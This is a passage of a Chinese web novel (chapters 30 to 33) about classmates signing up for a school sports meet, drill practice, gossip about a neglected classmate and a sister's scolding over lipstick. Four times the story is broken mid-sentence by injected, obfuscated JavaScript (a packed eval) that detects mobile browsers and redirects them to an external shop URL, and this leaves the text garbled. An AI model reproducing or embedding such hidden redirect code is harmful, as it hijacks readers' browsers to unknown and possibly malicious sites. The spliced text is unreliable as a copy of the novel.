他拿着纸笔来到后排,随手从旁边拽了个椅子坐下,将报名表拍在乔颂桌上,“我说,好歹都是班干部,一个都不报,不合适吧。” 陆尘:“哪儿不合适了,我看挺好的。” “哪儿都不合适!”杜司宇义正严词,“夏晚懒成那样都和徐婷婷报了4*100米接力呢,赶紧的,你们要不主动报我就随便填了。” 眼看四个人还是没什么兴致,杜司宇决定逐个击破。 杜司宇:“乔儿啊,你看你学跳舞,这么好的条件,为啥不报个项目呢?” 乔颂:“运动会需要跳舞吗?” 杜司宇:“不需要,但你想啊,你学跳舞,身体柔韧性好,像什么跨栏啊跳高啊,这都是你的强项,真不是我吹啊,就你这素质,一上场,必须给咱整个前三名回来,小红花一戴,奖状一拿,老帅了。” 乔颂:“……” 杜司宇:“而且我也不是对跳舞一点都不了解,我经常看你们练习的时候翻跟头,那家伙,老溜了,所以你臂力也是可以的,整个铅球和标枪也行,看你喜欢。” 乔颂都不喜欢,他默默从书包里拿出一根香蕉,扒皮,开吃。 本来杜司宇还想再鼓励鼓励他,但看到他的香蕉,想起他从五一之后就要节食的事,只能放弃,“算了,不折腾你了,我天天看你吃那点鸟食,都怕你啥时候饿死。” 乔颂点了点头,他并不介意杜司宇的说法,甚至有点小开心,因为终于不用在运动会上卖力气了。 杜司宇又转向了夏迟,“诶诶诶,你怎么回事,以前不都可积极了吗,每人最多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179474|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报两项你恨不得报个十项全能,现在积极劲儿都哪儿去了。” “拿来我看看……”她被凶手的事搞的头疼,确实没什么兴致,接过报名表随便瞟了一眼,最后在女子1500米后面写上了自己的名字,“这下好了吧。” 报一项也是报名了,只要不听杜司宇再叨叨就行。 “行行行。”看着上面的名字,杜司宇非常满意。 “陆尘。”杜司宇继续攻略,“你看夏迟都报了,你不跟着凑个热闹?” 陆尘:“她报不报跟我有啥关系啊?” 杜司宇:“咋没关系了,你俩关系多好啊,从小就跟连体婴似的,恨不得走道都拉着手,不知道的还以为你俩才是一家呢。” 吃着香蕉的乔颂直接笑出了声。 陆尘直接朝杜司宇丢了个白眼,“滚蛋。” 杜司宇:“你报名我就滚。” 陆尘无可奈何,报了个男子1500米。 看着上下紧挨着的两个名字,杜司宇十分欣慰,“这不就完事了吗,墨迹那么半天干啥啊,你看看,你一千五,她也一千五,老配了。” 陆尘干脆戴上了耳机。 最后还剩钟景明,也是杜司宇认为的最难攻略的一个人,“哎,还打游戏呢?” 可是一直戴着耳机的钟景明理也不理,杜司宇不知道他是没听到还是不想回答,干脆起身绕到了他的身后,越过肩膀瞄了一眼他手上的游戏机,疑惑道:“诶?这不是你以前那个吗?新买的那个呢?就是那个彩色的。” 钟景明在玩俄罗斯方块。 他的反应非常快,总是在第一时间就能调整好方块角度并落到它该落的位置上,一排排像素块眨眼间便可消失,杜司宇看的眼睛都直了,这游戏他也玩过,但绝对做不到钟景明这个速度。 游戏像是带着某种魔力,杜司宇不想打扰,但现在任务在身实在没办法,他用手指戳了戳钟景明肩膀,“诶诶诶,先停一下。” 被打扰的钟景明很不开心,可也按下了暂停,叹了口气,两根拇指依旧微微动着,似乎在保持手感,“有话赶紧说。” 杜司宇:“运动会报名的事……” 钟景明:“不报。” 前排的陆尘欠欠的回头,看着杜司宇那张吃瘪的脸,笑道:“活该。” 杜司宇:“嘶……有你啥事,赶紧转回去听你的歌。” 但钟景明似乎下定了决心,无论杜司宇说什么回答只有一种,不报名就是不报名,说什么都不报。 “行吧,不报就不报,还班干部呢,一点都不懂的给同学们起示范带头作用。”其实杜司宇也拿他没辙,钟景明脾气有点怪,不是很好沟通的类型。 游戏停顿的时间有点长,钟景明似乎没有了刚才的手感,于是将游戏机和耳机塞进书桌,打算暂时休息一下。 杜司宇又问了一个新的问题,“你那个新游戏机咋了,为啥不玩了啊,上次你那个叫什么岛的游戏,不是挺好的吗。” 揉脖子的手微微一顿,钟景明沉默片刻后随口应付道:“还是俄罗斯方块好玩。” 30. 第三十章 找体育老师交完报名表后,杜司宇又溜进了韩途生的办公室,好说歹说总算让他松口答应不占用体活课练队列,而是每天抽出半节晚自习时间。 晚饭后,高一一班全体在操场上集合。 杜司宇按照身高给大家排好队形,但排来排去总觉得好像缺了点什么,“诶,是不是谁没来?” 班里同学早都习惯这个话题了。 ——还能有谁,又是孟欢欢呗。 “小乔。”林森高声喊乔颂。 “别喊了,人不在。”赵鹏提醒他,“你忘了他现在不上晚自习啊。” 杜司宇又查了一遍人数,果然男生女生各缺一个,他知道乔颂要去练舞蹈,但孟欢欢到底是什么情况他也摸不准,“你们谁能找到她?她只是练队列不来,还是到时候也不上场啊?” 林森:“要不你去十八班看看?” 徐婷婷:“去十八班也没用,他们班那几个啥时候老老实实在班里坐着过,能找到人就怪了。” 同学们都在窃窃私语,讨论着孟欢欢的事。 徐婷婷:“上次合唱还记得吧,我记得小乔私下里找过她呢,人家直接说有事不参加,谁还不知道她啥事啊,用得着她说。” 赵鹏:“要不咱以后别带她了呗,就当她不存在,走个队列而已,就算运动会当天她来了,别让她上场就完事了,老韩都不管她了,咱有啥好纠结的。” 同学们纷纷应和,毕竟这事不是一次两次了,作为同学来讲倒是每次活动想着带她,但是人家又不领情,一来二去的谁还愿意和她玩啊。 林森:“她那么喜欢十八班干嘛不转过去啊,在咱班待着干嘛?” 听到这个话题,赵鹏突然眼前一亮,“我有个小道消息,你们想听吗?” “听听听,赶紧说。” 赵鹏嘿嘿一笑,“你们知道她爸是谁吗?” 众人摇头。 赵鹏:“她爸叫孟博民,可能你们没听过这个名字,但你们一定知道咱市最大的那家夜总会,那儿就是她家开的。” 林森:“我去,这么牛逼吗?” 赵鹏:“那可不吗,家里老有钱了,本来成绩是来不了咱们一中的,硬生生用钱砸出来的名额还塞进咱们班了,来交钱那天人家爸妈都没出面,保姆陪着来的。” 对于大多数家庭而言,保姆这个称呼只在电视上见过,距离他们无比遥远。他们虽然没去过夜总会,但也知道那里超大超豪华,外面的霓虹灯可以闪一整夜,在这座死气沉沉的城市中无比闪耀。 他们根本无法想象孟欢欢家里到底多有钱。 林森:“不对啊,她家的事你是咋知道的。” 赵鹏:“我老哥不就在咱校管后勤吗,那天亲自收的钱开的票。” 同学们七嘴八舌讨论着孟欢欢的事,有的道听途说,有的亲眼见到,各种小道消息混杂在一起真真假假谁也分不清。 陆尘站在第一排,听着四周的讨论声,下意识回头看向夏迟,果然看她一脸阴沉的皱着眉。 从上次合唱排练时陆尘就感觉到了,夏迟似乎不太想听人讨论孟欢欢的事。 “好了好了。”他用力拍手,高声道:“讨论到此为止,抓紧时间先练队列。” 班长的话还是要听的,大家停止了讨论,杜司宇重新纠正歪歪扭扭的队形,“大家注意前后距离,保持一臂远,注意不要打手。” 这种队列大家从小走到大,每年至少练一次,除了转弯时需要磨合一下速度,就连摆臂高度都不需要额外纠正。 练习过程非常顺利,二十分钟后,杜司宇见问题不大,便让大家原地休整。 徐婷婷叫夏晚一起去厕所。 一中是老式操场,砂石土砾的路面坑坑洼洼,再加上天黑后光线昏暗,操场上只有教学楼窗户里透出来的灯光,徐婷婷根本没看见前面有块带尖的石头,一脚踩上去后只来得及发出短暂的惊呼,身体便朝钟景明倒了过去。 然而钟景明压根没想拦着,他的反应速度在此时达到了巅峰,直接身体扭转过一个角度让开了徐婷婷,周围同学根本没来得及反应,就眼见徐婷婷摔在了地上。 “没事吧。”夏晚赶紧去扶,着急道:“摔哪儿了?有没有崴脚啊?” 脚腕处传来的痛感清清楚楚的告知徐婷婷,夏晚可能说对了,几个女生赶紧上前,和夏晚一起搀扶着徐婷婷,将她送去校医室。 徐婷婷走后,旁边的杜司宇实在看不下去了,“钟景明你咋回事啊?” 钟景明:“什么?” 杜司宇:“人家都要崴脚摔了,你咋不扶一把呢?” 钟景明:“理由?” 杜司宇:“这还要啥理由啊,都是同班同学,眼看人要摔了谁都会扶一把啊。” 钟景明:“别把你的思维逻辑套我身上,她自己摔的,我没义务扶她。” 杜司宇:“我靠,你这人……” “行了大宇。”陆尘拍拍他的肩膀示意他消消气,然后转向后面的同学,“今天就练到这里吧,大家解散。” 在同学们的窃窃私语中,钟景明面无表情的往回走。 “靠,什么人啊。”杜司宇对钟景明的不满简直达到了顶峰,“陆尘,你说他怎么回事啊,他脑袋好像就不是一般人,哪有人会这么想的啊。” 但陆尘也不知道钟景明到底在想什么。 回想种种,陆尘发现钟景明好像从来没有和女生做过同桌,甚至和女生距离太近都会让他露出不适感。 钟景明不是针对徐婷婷,他只是不想和女生有太过亲密的接触。 回教室的路上,杜司宇一直嘟嘟囔囔,直到进了教学楼他才想起自己忘了件事,赶紧去找夏迟,“诶,你去医务室看看徐婷婷咋样了呗,顺便问问夏晚,就说咱班还缺一个队列前举牌的,我觉得她挺合适。” 夏迟兴致缺缺,但也答应下来,“哦,好。” 校医室—— 校医检查了徐婷婷的脚踝,发现没有伤到骨头,只是崴到,休息一段时间就能好,几个女生见她没事就先回教室,只留夏晚在旁边陪她。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191347|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >夏迟敲门进去的时候,校医有事外出,徐婷婷正坐病床上控诉钟景明的种种罪行,“你说他是不是针对我?!他哪怕伸手拦一下也行啊,眼睁睁看我往地上摔!我也没惹过他啊,我摔死了对他有啥好处!靠,越说越气!” 对于这个问题,夏晚也没法安慰她,求助似的看向刚进来的夏迟。 夏迟:“别生气啦,同学们已经帮你说过他了。” 徐婷婷:“他有说要悔改吗?” 夏迟:“……没有。” 徐婷婷气到捶床,“我!就!知!道!” 夏迟从兜里拿出一块大白兔奶糖,拆开包装喂给徐婷婷,希望糖分能够给她带来一点好心情。 夏晚:“你咋过来了?” 夏迟:“大宇让我过来看看,顺便问问你,咱班缺个举牌的,你有没有兴趣。” 本以为夏晚会嫌麻烦拒绝,但没想到她想了片刻好似突然想到了什么好玩的事,连连点头,“嗯嗯嗯,没问题,不就是举牌吗,包在我身上。” 这个时间,负责后勤的老师还在学校,徐婷婷表示脚已经不疼了,再休息一会儿可以自己回班级,让夏晚先和夏迟去后勤那边拿衣服。 这次运动会正好赶上实验一中四十周年校庆,学校花钱重新将各班牌子换了新的,同时也为举牌子的同学统一订制了服装。 女生的是圆领衬衫加裙子,还有配套的小皮鞋。 夏晚和老师报了尺码,拿到手后第一时间拆开外包装,放在身上比划一下,“好看不?” “好看。”看着夏晚兴致勃勃的样子,夏迟好像意识到她为啥这么积极了,“又臭美是吧。” 夏晚美滋滋的将衣服装回去,宝贝似的抱在怀里,“爱美之心人皆有之。” 夏迟:“所以你早就知道举牌的衣服了,对吧。” 夏晚:“对呀,那天我和婷婷在走廊溜达,看后勤老师忙着往屋里送东西,就帮了把手,没想到啊没想到,居然是小裙子,不过男生的就丑了,要是没点身高都撑不起来。” 后勤老师四十出头,戴着一副厚重的近视眼镜,她也是从这个年纪过来的,知道这个年纪的小女生都爱美,看夏晚乐呵呵的样子还特意提醒了一下,说当天学校对个人装扮没有具体要求。 夏晚心领神会。 离开后勤办公室,夏迟见她这模样忍不住提醒,“你别装扮的太过分,学校老师可能不管,但咱妈不会不管,看你打扮的花枝招展,没准先打折你的腿。” 李桂梅始终觉得学生就该有学生的样子,心思都该放在学习上,打扮什么的都是长大之后的事。 夏晚:“知道了,不过分不过分,就是简单的画一下而已,学校光明正大的给我发小裙子,我要是不好好珍惜,太浪费了。” 夏迟:“你要不先跟我通个气,你想画成啥样?” “涂个睫毛,再涂个口红?”夏晚觉得这样并不过分,但她也摸不准李桂梅的心思,为防万一,她拉着夏迟的手撒娇道:“诶呀,要到时候咱妈真的想打我,你可得帮我啊。” 31. 第三十一章 放学后,夏晚拉着夏迟、陆尘、杜司宇提前一站下车。 这个时间商场已经关门,夏晚只好在路边找了一家两元店,店主是个年过三十的女性,他们进门时正坐在门口的收银台后面看杂志,听见门上的风铃声抬头瞥一眼,发现他们身上穿着校服,以为是学生随便逛逛,也没起来招呼,继续看着杂志上的狗血小故事。 “姐。”倒是夏晚先问了一句,“你这儿化妆品可以试用吗?” 店主:“可以,我留了试用装,上面贴着标签别拿错了。” 夏晚带着他们三个绕过货架来到里侧,看着面前琳琅满目的化妆品,眼睛里都带着光。 ——好多,好好看,抹在脸上肯定老漂亮了! 夏迟:“我提醒你一下,咱妈要打你的话我只能帮着解释几句,但真拦不住。” “知道知道。”目光恋恋不舍的从眼影粉底处离开,夏晚拿起贴着试用装的睫毛膏,打开,对着旁边的镜子一点点刷着自己的睫毛。 都是劣质的化妆品,还散发着一股刺鼻的酒精味儿,但经不住夏晚底子好,睫毛又长又密,虽然有些睫毛黏在了一起,可视觉上感觉眼睛又大了一点,也更有神了。她眨巴眨巴眼睛,非常满意这个效果,拧好盖子放回原处,转头又去拿了口红。 “咋样?”装扮好的夏晚转身面向他们三个,又做了个俏皮的表情,“好看不?” 两个男生没有发表意见,因为他们觉得,除了嘴巴红了点,夏晚和平时也没什么区别,只有夏迟努力给姐姐捧场,“好看,就买这俩吧。” 夏晚:“但我觉得这个红色太艳了。” 她抿抿嘴巴,又对着镜子照了照,这种红色衬的她皮肤更白,楚楚动人,但对学生来说确实不太合适,更偏向于成熟一点的女性。 货架上摆着十几种色号,可试用装只有一只,其余的都是全新的。夏晚只能凭着自己的感觉挑了两个相对合适的给他们看,“你们说这两个色哪个更好点?” 杜司宇:“啊?” 陆尘:“这俩不都是红的吗?” 夏晚:“……” ——真是问了也白问。 离开两元店后,四个人慢悠悠的往家走。 夏晚和夏迟走在前面,拉着她的手兴致勃勃的讲着口红颜色对肤色的影响。陆尘和杜司宇落他们两三步的距离,走了一小段后陆尘发现今天的杜司宇似乎过于安静了,平时他应该是话最多的,叨叨叨的仿佛一个大喇叭。 陆尘:“想啥呢?” 杜司宇回过神来,“啊?” 陆尘:“问你想啥呢?” 杜司宇叹气,“其实也没啥,就运动会那点事呗,你们说到时候孟欢欢真不来吗?女生缺了她一个队伍就不齐刷了,你们都在队伍里没看到,我在外面看的清清楚楚,就缺她一人,队伍跟狗啃似的,老磕碜了。” “拜托,你还想这事呢。”夏晚闻言回头,“好好的孩子咋那么不听劝呢,都说以后不带她了,你就当她不存在不行吗?” 杜司宇:“那么大个活人,我咋当她不存在。” 眼看他又开始钻死胡同,夏晚也很无奈,但好歹从小一起长大的,她知道杜司宇今天要是想不明白这事估计回去都睡不好觉,“诶,跟你们说个小八卦,你们听了就听了,也别往外传。” 夏迟:“啥八卦,和孟欢欢有关?” 夏晚:“对啊,我在五班有个姐妹儿,是她小学同学,据她所说,孟欢欢这样不是一天两天了。其实今天赵鹏说的都没错,她家确实很有钱,但孟欢欢她爸妈吧……不太好说,也不知道是工作忙还是不关心,每学期开家长会都是保姆来的,有时连保姆都不来,谁都不管她,老师也都习惯了。” 陆尘:“爸妈一次都没来过?” 夏晚:“只有她妈来过一次学校,可这事也很神奇,据说当时孟欢欢喜欢班里一个男生,但那个男生不喜欢她,于是孟欢欢每到下课就去堵那个男生,后来有一天那个男生跑去告老师,说孟欢欢堵厕所门口亲他,老师把孟欢欢叫去问情况,可她什么都不说。老师没办法了,只能亲自上门做家访,希望能和她家长聊聊,但她家里只有一个保姆,又是折腾了好一阵儿才联系上她妈。” 杜司宇都听傻了,“然后呢?” 夏晚:“她妈就来学校了啊,听老师说完当着所有人的面扇了她一巴掌,骂她不要脸,骂她干这事为什么不背着点人、还因为这点破事非要家长来一趟学校。从那以后,孟欢欢就不敢再跟本班同学一起玩了,再后来据说认识了校外的混混,还有更难听的,说她小学就在外边跟男生那啥过。” 听了这个故事,陆尘只觉一言难尽,“其他的事真假不论,她妈妈那一巴掌不相当于在所有人面前坐实了传言吗?” 杜司宇:“对啊对啊,哪有这么坑姑娘的,就算这事是真的,当时才小学啊,跟人家男生道个歉再把她带回家好好教育不就得了,扇嘴巴子算怎么回事啊。” 夏晚:“没人知道为啥啊,反正她就是个没人管的状态,教过她的老师都知道,你看去年老韩还想着管呢,现在不也放弃了。所以运动会的事你压根不用纠结,该咋样就咋样吧。” 劝好了杜司宇,夏晚觉得自己简直是日行一善,乐呵呵的继续跟夏迟说着口红指甲油的事,可谁想到最后乐极生悲,进门前她忘了擦掉嘴巴上的口红,而且今天赶巧的夏国强和李桂梅早早关店回家休息,夏晚刚一进门就被李桂梅抓了个正着。 “你嘴上怎么回事。” “我……”夏晚就怕自己老妈,被李桂梅瞪了一眼立刻怂的像个鹌鹑,“就是,随便试试……” “试什么试?!”李桂梅猛一拍桌子,吓得所有人一激灵,“看看你上学期期末考的什么玩意儿?小小年纪心思不放在学习上,天天就知道臭美,臭美给谁看啊?!” 夏晚自知理亏,嗫嚅道:“不给谁看,学校要开运动会了,我在队列前举牌子,配衣服化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13204193|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个妆而已,走完队列我就擦了,今天事多,我才忘了的。” 她压根没敢提自己在两元店偷偷买化妆品的事,还好提前塞书包里了,要让李桂梅知道,她得当场从窗户丢出去。 旁边的夏迟赶紧把从后勤领来的制服给李桂梅看,“妈,真的,你看学校给准备的,后勤老师也说当天配衣服可以打扮的漂亮一点。” 看到是学校的安排,李桂梅总算消了点气,可仍旧不认可她化妆这件事,“这个年纪的小姑娘哪有丑的,你把头发扎起来,把脸露出来,捯饬的利利索索的就好看,用的着抹这些玩意儿?赶紧去洗了,瞅你那嘴唇红的跟吃了死孩子似的,赶紧的!” “哦……”夏晚乖乖去洗脸,洗完脸还特意出来让李桂梅检查了一下,才被允许回房间。 等到卧室门关上,夏国强去给李桂梅倒了杯水,“别生气了,都十几岁的大姑娘了,喜欢打扮的漂亮一点也正常。” 李桂梅:“正常啥正常,嘴红成那样叫正常?” 夏国强:“诶行行行,不正常不正常,不跟你吵,你说的都对。” 李桂梅拿起水杯喝了几口,又想起另外一件事,“我前两天看见董娟了。” “啥?”一听到这个名字,夏国强也严肃起来,“在哪儿啊?” 李桂梅:“就在化工厂小区那片,又找了个男人,住的还这么近,我都怀疑她是不是故意的。” 夏国强:“这事整的,还没完没了了。” 李桂梅:“反正以后我见她一次骂她一次,她要有脸就继续往跟前儿凑,我骂不死她!” …… 卧室里,夏晚撅着嘴坐在书桌前,打开书包,拿出新买的睫毛膏和口红,和之前买的指甲油藏在一起,嘴里嘟嘟囔囔,“管那么多,涂个口红而已,我又没碍着谁,至于吗。” 夏迟从身后抱住她,轻轻晃了晃,“好啦,别生气啦,妈不也是担心你吗,外面坏人那么多,我姐又长得这么好看,被盯上了怎么办。” 夏晚:“长得好看是我的错啊。” 夏迟:“不是你的错,咋能是你的错呢,小时候妈带咱俩出去,别人夸你长得好看的时候妈都乐成什么样了,妈能生出你这么好看的姑娘,超自豪的。但现在不是情况特殊吗,外面治安不太好,隔段时间就能听见哪儿哪儿又抢劫杀人了,就说这个月吧,五一假期,胡同口那边出了事,那天早上妈特意打电话回来让咱俩别出屋,不就是担心吗。” 夏晚:“其实我也知道咱妈刀子嘴豆腐心,你看我成绩这么差,妈也只让我好好学习,也从来没说你和陆尘怎么怎么样的,估计是怕我听着心里难受吧。” 夏迟:“对呀,咱妈可疼你了,不过话说回来,以后我姑娘要是长得像你这样,我也疼她。” “嘶……”夏晚越听越觉得不对劲,“臭丫头,你是不是占我便宜呢。” 夏迟一脸无辜,“有吗?哪有?” 夏晚:“懒得理你!” 32. 第三十二章 某天,微机课—— 上课铃打响后,同学们排着队一个个在微机室门口穿好鞋套,进去各自找位置坐下。 今天要讲的是word的用法,如何调整字体大小以及行间距,老师坐在最前面控制了所有人的电脑,一点点的进行演示,内容枯燥又无聊,有的人困的近乎昏迷,有的在底下偷偷传着小零食,干嘛的都有,听课的却寥寥无几。 陆尘打了个哈欠,干脆躲在屏幕后睡觉。 夏迟从兜里偷偷拿出一包妙脆角,小心翼翼的控制着咀嚼的音量,边吃边看,等到结束演示,她快速做完了老师留下的课堂作业,而后去点击桌面上的浏览器图标。 然后,屏幕一片空白。 这时夏迟才注意到,原来电脑没连网线。 “陆尘……”夏迟小小声叫他,但他戴着耳机没有听到。 袋子里还剩最后一块妙脆角,夏迟将它套上食指,然后用尖尖去戳陆尘的嘴角。 陆尘睁开眼睛,看见夏迟笑嘻嘻的模样,立刻抓住了那只罪恶之手,毫不留情的张嘴吃掉了那块妙脆角,又懒洋洋的摘下耳机,“干嘛?” “你过来看。”夏迟反手握住他的手腕,把他连人带椅子拽过来,指了指屏幕的右下角,“电脑没联网,你知道怎么插网线吗?” 陆尘:“哪儿来的网线,学校怎么可能给你配网线。” 夏迟:“……” ——好吧,毕竟联网是要花钱的,学校可能考虑学生上课用不到,能省一点是一点。 陆尘:“你要上网干嘛?” 夏迟:“你知道□□吗,今年新出的一个聊天软件,形象是个小企鹅,它……额……不对,它现在好像不叫这个名字。” 陆尘懵懵的摇头,“不知道。” 夏迟:“不知道算了。” 陆尘:“那这个聊天软件,是干嘛用的?” 夏迟:“废话,当然是用来聊天的啊,不然为啥叫聊天软件。” 陆尘:“……咱俩到底谁在废话,我当然知道聊天软件是用来聊天的,但是你要和谁聊啊,干嘛突然要下这个东西。” 夏迟:“不告诉你。” 她继续用鼠标尝试着点来点去,希望不是没连网线,而是电脑设置出现了问题,只要找到并解决这个问题,电脑就会恢复健康。 然而陆尘的好奇心完全被勾引出来了,他伸手去戳夏迟的腰,“说不说?” “烦死了。”夏迟伸脚连人带椅子一起将他踹回自己的位置,恶人先告状,“现在上课呢,怎么班长还带头唠嗑,今天我大慈大悲就不找老韩打你的小报告,你要记得感谢我并且下次注意。” 陆尘:“……” 微机课后便是体育课,运动会在即,体育老师允许他们不用集合点名,大家可以自由练习自己所报的项目,需要秒表计时就去找杜司宇,需要铅球标枪的就去跳远场地那边,安全起见,他会亲自监督这几个项目的训练,避免受伤或伤到别的同学。 陆尘虽然报了1500米,但他身为班长却丝毫没有集体荣誉感,自认就是个凑数的,根本没考虑努努力帮班级挣个名次回来,于是沿着操场内圈慢悠悠散步似的练习,连随身听都没摘。 不过让他感到意外的是,从小到大一向热衷集体活动的夏迟也兴致不高,就跟在他的身后,始终保持两三米的距离。 十多分钟后,陆尘跑完了1500米,持续减速渐渐变成慢走,身后的夏迟也同样,俩人最终变成了沿着跑道散步。 “还在想凶手的事啊?”陆尘道,“别想了,车到山前必有路,光想是抓不到凶手的,你得赶紧恢复状态,总不能下次蹲守全靠我一个人吧。” 夏迟:“我现在状态很差吗?” 陆尘:“杜大宇那个傻子都在问你为啥不积极了,你说呢?” 夏迟:“唉……那看来是很严重了。” 操场另一边的杜司宇突然打了个喷嚏,他抬头看了看天上的大太阳,觉得自己肯定不是着凉,既然这样,那就一定是有人在想他。 ——嘿嘿,我人缘还怪好的。 夏迟不知道杜司宇已经快速完成了逻辑闭环,她只知道陆尘说得对,自己确实不能一直这样,不仅耽误事,还会让身边的人担心。 “行,那我从现在开始改。”夏迟微微扬起嘴角,背对操场原地起跳蹦了几下,“先从运动开始,运动使人心情愉快。” 陆尘:“倒也不用改的这么明显,脚底装弹簧了啊,袋鼠都没你能跳,像个傻子似的。” 夏迟:“要你管。” “我不管你谁管你,你……”话音未落,陆尘眼见一个篮球朝夏迟飞来,他连提醒都来不及,直接抬手越过夏迟的肩膀,用手掌拦下了那个篮球。 “没事吧?!” 夏迟在反应过来的第一时间就去看他的手,与此同时,操场那边跑来一个男生,满脸歉意,“不好意思啊哥们,球脱手了,你没事吧。” “没事。”陆尘淡定的仿佛什么都没有发生。 男生再次道歉,但看陆尘确实不像有事的样子,就捡起篮球回去继续打比赛。 陆尘和夏迟离开了跑道,路过操场边一棵大树时,他突然皱着眉捂着手跌坐在树荫下,背靠着树干哼哼唧唧,“啊疼疼疼……手要废了……” “哪儿疼啊,让我看看。”夏迟蹲在他的身边,捧着他的手仔仔细细的看,嘴里还不忘抱怨,“刚才不是装的挺好吗,现在知道喊疼了。” 陆尘的手指修长白白净净,夏迟瞪大眼睛左左右右看了好几遍,连手指缝都没放过,可连个擦破皮的地方都没看到,“到底哪儿疼啊,你……”结果抬眼,正好看到了他眼中的笑意,“你耍我是吧!” 陆尘开心的笑了几声,“没耍你,也没受伤,但真的有点疼。” 篮球力道很大,打到了他的手指,夏迟注意到他的指尖在不自觉的颤抖,顿时有点心疼,“没事,揉揉就好了。” 她朝指尖轻轻呵气,而后拢在手心,力道不轻不重的慢慢揉捏。 阳光明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13214160|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 媚风也舒爽,看着这样的夏迟,陆尘心底一片柔软,他不想打破现在的美好,可心里实在有个想要知道的答案,纠结片刻,还是好奇心占据了上风,“问你个事。” 夏迟:“说。” 陆尘:“你说的那个企鹅,就那个聊天软件,你到底要干嘛啊?” 夏迟翻了个白眼,长出一口气,“大哥,都上节课的事了,你还没忘啊。” 陆尘:“我好奇啊。” 夏迟:“好奇心咋这么重呢,啥你都想知道。” 陆尘:“有好奇才能有进步,你赶紧说,要不我下节课还问你。” 夏迟彻底服了。 夏迟:“就是字面意思,一款新出的聊天软件,下载,注册,加好友,这样的话,以后无论距离多远,只要有网络,就可以互相联系。” 陆尘:“哦,那你最想加的好友是谁?” 夏迟:“……” 等不到她的回答,陆尘手抖得更厉害了,“哎呀,我手好疼……” 夏迟:“少跟我装,是你是你就是你,好了吧。” 陆尘满意的点点头,立刻停止了手抖。 “其实也没这个必要。”陆尘继续好奇,“咱俩成绩差不多,就算以后考大学也能考同一个学校,最差也是同一个城市,平时上课见不到面,周末还是可以的,干嘛搞得那么复杂。” 夏迟:“少年,人生的路那么长,总会出现点意外,你也无法保证事事如意吧。” 陆尘:“比如?” 夏迟:“不知道,我就是随便说说。” 这时,陆尘又想起她总挂在嘴边的那个梦,“你在梦里没梦到我吗?还是说在你的梦里发生了什么意外所以你才想到了这个办法,诶,你那个梦不能和我好好说说吗,到底梦到啥了啊,总不能只有个变态杀人狂吧。” 夏迟:“没有,真相很残酷,你还要继续听吗?” 陆尘:“听啊,你都敢做梦,我为什么不敢听。” 夏迟:“你油盐不进。” 陆尘:“你恼羞成怒。” 夏迟干脆不理他了。 虽然陆尘非常好奇,但他看出夏迟确实不想深聊这个话题,也没继续逼迫,“你真的不用担心,咱俩从小到大都在一块儿,以前是,以后也是,就是个高考而已,咱俩分不开的。即使退一万步讲到时候咱俩真不在一个城市,但家就住隔壁,逢年过节总得回来吧,回来了还能不见面?住这么近你想跑都没地方跑。” “嗯,你说得对。” 手心传来的触感是如此的真实,夏迟失神片刻,陆尘还在喋喋不休的问她,“有没有心仪的学校?想留北方还是去南方?专业呢?” 夏迟被他唠叨的耳朵发麻,勾起嘴角露出一点微笑,“闭嘴吧你,烦不烦啊。” “这种程度就嫌我烦了?”然而陆尘却渐渐敛起笑容,是少有的认真。他近乎承诺的继续说道:“夏迟,我可是要烦你一辈子的,你最好现在开始慢慢适应,以后……总之,你就别想甩掉我了。” 33. 第三十三章 运动会前一天,在各班老师的组织下,同学们将自己的东西整理好,尤其是前两排的同学,他们需要将书桌膛清理干净,把书桌搬到操场上班级的指定位置放好,其余同学只需拿着自己的椅子排在他们后面,并在旁边留了一个大号垃圾桶,以便处理零食垃圾。 根据天气预报,运动会这两天天气晴朗万里无云,温度也适宜,这让同学们异常开心,总觉得是自己的诚意感动上天,总算没让运动会因为下雨而延迟。 而有了之前的经验教训,夏晚怕挨骂,只好将制服裙子化妆品打包带到学校,在空教室里换好衣服,再美美化了个妆。 夏晚:“怎么样?” 夏迟:“嗯,好看,我姐最好看了,今天肯定是全场最靓的那一个。” 